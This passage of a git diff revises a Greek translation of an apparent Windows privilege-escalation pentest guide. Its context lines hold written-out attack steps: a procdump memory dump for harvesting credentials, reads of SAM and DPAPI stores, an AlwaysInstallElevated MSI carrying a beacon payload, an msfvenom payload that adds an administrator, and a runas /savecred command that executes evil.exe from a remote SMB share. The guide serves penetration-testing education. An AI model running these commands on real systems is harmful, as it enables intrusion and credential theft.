**άμυνας** πριν ξεκινήσετε την καταγραφή κλιμάκωσης δικαιωμάτων: + {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} @@ -42,7 +46,7 @@ integrity-levels.md ### Καταγραφή πληροφοριών έκδοσης -Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμοσμένες ενημερώσεις). +Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα εφαρμοσμένα patches). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -95,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript files +### PowerShell Transcript αρχεία Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -178,7 +182,7 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` Και αν `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ή `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` είναι ίσο με `1`. -Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε η είσοδος WSUS θα αγνοηθεί. +Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε, η είσοδος WSUS θα αγνοηθεί. Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM εκμετάλλευσης για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία. @@ -193,15 +197,15 @@ CTX_WSUSpect_White_Paper (1).pdf [**Διαβάστε την πλήρη αναφορά εδώ**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Βασικά, αυτό είναι το σφάλμα που εκμεταλλεύεται αυτό το bug: -> Αν έχουμε τη δύναμη να τροποποιήσουμε τον τοπικό χρήστη proxy μας, και οι Ενημερώσεις των Windows χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δύναμη να εκτελέσουμε [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παγιδεύσουμε τη δική μας κυκλοφορία και να εκτελέσουμε κώδικα ως ανυψωμένος χρήστης στο περιουσιακό μας στοιχείο. +> Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό χρήστη proxy μας, και οι Ενημερώσεις των Windows χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να εκτελέσουμε [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παγιδεύσουμε τη δική μας κυκλοφορία και να εκτελέσουμε κώδικα ως ανυψωμένος χρήστης στο περιουσιακό μας στοιχείο. > -> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου εμπιστοσύνης κατά την πρώτη χρήση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία. +> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου trust-on-first-use στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία. Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί). ## KrbRelayUp -Μια **ευπάθεια τοπικής ανύψωσης προνομίων** υπάρχει σε περιβάλλοντα **τομέα** των Windows υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου **η υπογραφή LDAP δεν επιβάλλεται,** οι χρήστες διαθέτουν αυτο-δικαιώματα που τους επιτρέπουν να ρυθμίζουν **Resource-Based Constrained Delegation (RBCD),** και τη δυνατότητα για τους χρήστες να δημιουργούν υπολογιστές εντός του τομέα. Είναι σημαντικό να σημειωθεί ότι αυτές οι **απαιτήσεις** πληρούνται χρησιμοποιώντας **προεπιλεγμένες ρυθμίσεις**. +Μια **ευπάθεια τοπικής ανύψωσης δικαιωμάτων** υπάρχει σε περιβάλλοντα **τομέα** των Windows υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου **η υπογραφή LDAP δεν επιβάλλεται,** οι χρήστες διαθέτουν αυτο-δικαιώματα που τους επιτρέπουν να ρυθμίζουν **Resource-Based Constrained Delegation (RBCD),** και τη δυνατότητα για τους χρήστες να δημιουργούν υπολογιστές εντός του τομέα. Είναι σημαντικό να σημειωθεί ότι αυτές οι **απαιτήσεις** πληρούνται χρησιμοποιώντας **προεπιλεγμένες ρυθμίσεις**. Βρείτε την **εκμετάλλευση στο** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -209,7 +213,7 @@ CTX_WSUSpect_White_Paper (1).pdf ## AlwaysInstallElevated -**Αν** αυτές οι 2 καταχωρήσεις είναι **ενεργοποιημένες** (η τιμή είναι **0x1**), τότε οι χρήστες οποιουδήποτε προνομίου μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. +**Αν** αυτές οι 2 καταχωρήσεις είναι **ενεργοποιημένες** (η τιμή είναι **0x1**), τότε οι χρήστες οποιουδήποτε δικαιώματος μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,7 +235,7 @@ Write-UserAddMSI ### MSI Wrapper -Διαβάστε αυτό το tutorial για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν **απλώς** θέλετε να **εκτελέσετε** **γραμμές εντολών**. +Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**. {{#ref}} msi-wrapper.md @@ -253,8 +257,8 @@ create-msi-with-wix.md - Υπάρχουν άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως ο **Συγγραφέας** και ο **Κατασκευαστής** που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη. - Κάντε δεξί κλικ στο έργο και επιλέξτε **Προβολή > Προσαρμοσμένες Ενέργειες**. - Κάντε δεξί κλικ στο **Εγκατάσταση** και επιλέξτε **Προσθήκη Προσαρμοσμένης Ενέργειας**. -- Κάντε διπλό κλικ στο **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload εκτελείται μόλις εκτελείται ο εγκαταστάτης. -- Στις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**. +- Κάντε διπλό κλικ στον **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload εκτελείται μόλις εκτελείται ο εγκαταστάτης. +- Κάτω από τις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**. - Τέλος, **κατασκευάστε το**. - Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ρυθμίσει την πλατφόρμα σε x64. @@ -264,7 +268,7 @@ create-msi-with-wix.md ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Για να εκμεταλλευτείτε αυτήν την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ +Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ ## Antivirus και Ανιχνευτές @@ -276,7 +280,7 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Η Προώθηση Συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής. +Η προώθηση συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` @@ -290,21 +294,21 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Εάν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλή μορφή αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ +Εάν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ [**Περισσότερες πληροφορίες σχετικά με το WDigest σε αυτή τη σελίδα**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Αρχής γενομένης από το **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για την Τοπική Αρχή Ασφαλείας (LSA) για να **μπλοκάρει** τις απόπειρες από μη αξιόπιστες διεργασίες να **διαβάσουν τη μνήμη της** ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ +Αρχής γενομένης από το **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για την Τοπική Αρχή Ασφαλείας (LSA) για να **μπλοκάρει** τις απόπειρες από μη αξιόπιστες διεργασίες να **διαβάσουν τη μνήμη** της ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` @@ -319,7 +323,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Καταμέτρηση Χρηστών & Ομάδων -Πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα +Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα ```bash # CMD net users %username% #Me @@ -345,7 +349,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### Χειρισμός διακριτικών **Μάθε περισσότερα** για το τι είναι ένα **διακριτικό** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Έλεγξε την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς: +Δες την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς: {{#ref}} privilege-escalation-abusing-tokens.md @@ -369,7 +373,7 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Εκτελούμενες Διαδικασίες +## Εκτέλεση Διαδικασιών ### Άδειες Αρχείων και Φακέλων @@ -385,9 +389,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κερδίσετε δικαιώματα**](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Πάντα ελέγξτε για πιθανούς [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κερδίσετε δικαιώματα**](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διεργασιών** +**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διαδικασιών** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -406,7 +410,7 @@ todos %username%" && echo. ``` ### Εξόρυξη Κωδικών από Μνήμη -Μπορείτε να δημιουργήσετε μια απόθεση μνήμης μιας εκτελούμενης διαδικασίας χρησιμοποιώντας το **procdump** από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να αποθηκεύσετε τη μνήμη και να διαβάσετε τα credentials. +Μπορείτε να δημιουργήσετε μια απόθεση μνήμης μιας εκτελούμενης διαδικασίας χρησιμοποιώντας το **procdump** από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να αποθέσετε τη μνήμη και να διαβάσετε τα credentials. ```bash procdump.exe -accepteula -ma ``` @@ -446,7 +450,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Ενεργοποίηση υπηρεσίας -Αν έχετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV): +Αν έχετε αυτό το σφάλμα (για παράδειγμα με SSDPSRV): _Σφάλμα συστήματος 1058 έχει συμβεί._\ _Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._ @@ -524,6 +528,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t RE Αν έχετε αυτή την άδεια σε ένα μητρώο, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπομητρώα από αυτό**. Στην περίπτωση των υπηρεσιών Windows, αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:** + {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} @@ -538,7 +543,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Καταγράψτε όλα τα μη παρατεταμένα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows: +Καταγράψτε όλα τα μη παραquoted service paths, εξαιρώντας εκείνα που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -564,13 +569,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Recovery Actions -Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, μπορεί να είναι δυνατή η κλιμάκωση δικαιωμάτων. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [official documentation](). +Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, η εκμετάλλευση δικαιωμάτων μπορεί να είναι δυνατή. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](). ## Applications ### Installed Applications -Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να κλιμακώσετε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). +Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να εκμεταλλευτείτε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -675,11 +680,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Κανόνες Τείχους Προστασίας +### Κανόνες Τείχους -[**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** +[**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** -Περισσότερες [εντολές για την αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network) +Περισσότερες[ εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -730,7 +735,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Μπορείτε να χρησιμοποιήσετε το `runas` με την επιλογή `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share. +Μπορείτε να χρησιμοποιήσετε το `runas` με τις επιλογές `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -742,11 +747,11 @@ C:\Windows\System32\runas.exe /env /noprofile /user: "c:\us ### DPAPI -Η **Δημόσια API Προστασίας Δεδομένων (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενη μέσα στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλλει σημαντικά στην εντροπία. +Η **API Προστασίας Δεδομένων (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενη μέσα στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλλει σημαντικά στην εντροπία. **Η DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά σύνδεσης του χρήστη**. Σε σενάρια που περιλαμβάνουν κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά αυθεντικοποίησης του τομέα του συστήματος. -Τα κρυπτογραφημένα κλειδιά RSA του χρήστη, χρησιμοποιώντας την DPAPI, αποθηκεύονται στον κατάλογο `%APPDATA%\Microsoft\Protect\{SID}`, όπου το `{SID}` αντιπροσωπεύει τον [Αναγνωριστή Ασφαλείας](https://en.wikipedia.org/wiki/Security_Identifier) του χρήστη. **Το κλειδί DPAPI, που βρίσκεται μαζί με το κύριο κλειδί που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 byte τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την καταγραφή του περιεχομένου του μέσω της εντολής `dir` στο CMD, αν και μπορεί να καταγραφεί μέσω του PowerShell). +Τα κρυπτογραφημένα κλειδιά RSA του χρήστη, χρησιμοποιώντας την DPAPI, αποθηκεύονται στον φάκελο `%APPDATA%\Microsoft\Protect\{SID}`, όπου το `{SID}` αντιπροσωπεύει τον [Αναγνωριστικό Ασφαλείας](https://en.wikipedia.org/wiki/Security_Identifier) του χρήστη. **Το κλειδί DPAPI, που βρίσκεται μαζί με το κύριο κλειδί που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 byte τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον φάκελο είναι περιορισμένη, αποτρέποντας την καταγραφή του περιεχομένου του μέσω της εντολής `dir` στο CMD, αν και μπορεί να καταγραφεί μέσω του PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -771,7 +776,7 @@ dpapi-extracting-passwords.md Οι **PowerShell credentials** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν. -Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε: +Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει μπορείτε να κάνετε: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -899,7 +904,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Ελέγξτε αν υπάρχει το `C:\Windows\CCM\SCClient.exe` .\ -Οι εγκαταστάτες **εκτελούνται με δικαιώματα SYSTEM**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Οι εγκαταστάτες **τρέχουν με δικαιώματα SYSTEM**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -921,14 +926,14 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Αν βρείτε οποιαδήποτε καταχώρηση μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι ένα αποθηκευμένο κλειδί SSH. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Αν βρείτε οποιαδήποτε καταχώρηση μέσα σε αυτήν την διαδρομή, πιθανότατα θα είναι ένα αποθηκευμένο κλειδί SSH. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Αν η υπηρεσία `ssh-agent` δεν εκτελείται και θέλετε να ξεκινά αυτόματα κατά την εκκίνηση, εκτελέστε: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` -> [!NOTE] +> [!TIP] > Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού. ### Unattended files @@ -965,7 +970,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` -### SAM & SYSTEM backups +### SAM & SYSTEM αντίγραφα ασφαλείας ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -991,9 +996,9 @@ AppData\Roaming\gcloud\access_tokens.db ### Cached GPP Pasword -Μια δυνατότητα που ήταν προηγουμένως διαθέσιμη επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPP, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα. +Μια δυνατότητα που ήταν προηγουμένως διαθέσιμη επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, 